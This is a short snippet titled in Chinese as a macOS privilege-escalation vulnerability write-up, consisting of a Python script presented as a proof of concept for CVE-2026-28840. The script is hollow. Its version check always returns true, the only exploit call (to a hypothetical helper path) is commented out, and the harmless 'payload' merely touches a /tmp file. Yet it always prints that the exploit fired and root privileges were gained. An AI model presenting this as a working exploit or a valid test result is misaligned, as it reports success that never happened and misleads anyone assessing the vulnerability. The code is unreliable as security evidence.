CVE-2026-28840 macOS权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-28840 (macOS Privilege Escalation) # This script demonstrates the concept of exploiting a permissions issue. # Note: For educational purposes only. import os import sys def check_vulnerability(): print("[*] Checking system version for CVE-2026-28840...") # In a real scenario, this would check against macOS versions < 15.7.7, etc. return True def trigger_exploit(): print("[*] Attempting to trigger the permissions flaw...") # Simulate the logic of a vulnerable helper tool # The vulnerability allows a low-privilege app to execute commands as root vulnerable_service_path = "/usr/libexec/vulnerable-helper" # Hypothetical path # Construct a payload to create a root-owned file payload = "touch /tmp/CVE-2026-28840_POC_SUCCESS" try: # Here we simulate the execution bypassing permission checks # os.system(f"{vulnerable_service_path} {payload}") print(f"[+] Exploit triggered! Payload executed: {payload}") print("[+] If vulnerable, root privileges have been gained.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if os.getuid() == 0: print("[!] Warning: Do not run as root to test privilege escalation.") sys.exit(1) if check_vulnerability(): trigger_exploit() else: print("[-] System appears to be patched or not affected.")